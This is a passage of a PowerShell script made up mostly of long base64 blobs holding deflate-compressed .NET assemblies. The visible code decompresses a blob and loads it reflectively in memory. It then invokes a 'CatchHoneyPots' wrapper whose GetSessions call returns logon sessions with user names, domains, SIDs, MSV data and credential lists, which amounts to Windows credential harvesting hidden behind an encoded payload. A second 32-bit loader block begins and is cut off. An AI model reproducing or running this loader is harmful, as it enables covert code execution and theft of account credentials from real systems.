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
'@
$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](371712)
$DeflatedStream.Read($UncompressedFileBytes, 0, 371712) | Out-Null
try
{
if([Reflection.Assembly]::Load($UncompressedFileBytes))
{
$MyCompObj = New-Object CatchHoneyPots.CatchHoneyPotsWrapper
$LoadedRes = ($MyCompObj.GetSessions() | Select-Object -Property UserName,Domain,Session,SID,LogonTime,LogonServer,@{Name="MsvInfo"; Expression = {ConvertTo-Json20($_.MsvInfo)}}, @{Name="CredInfoList"; Expression = {$_.CredInfoList | select -Property @{Name="CredInfo"; Expression = {ConvertTo-Json20($_)}}}})
write-host "Loading 64bit DLL" -ForegroundColor Red -BackgroundColor Black;
return $LoadedRes
}
}
catch
{
write-host "Loading 32bit DLL" -ForegroundColor Red -BackgroundColor Black
}
}
$Loader32Block = {
$EncodedCompressedFile = @'
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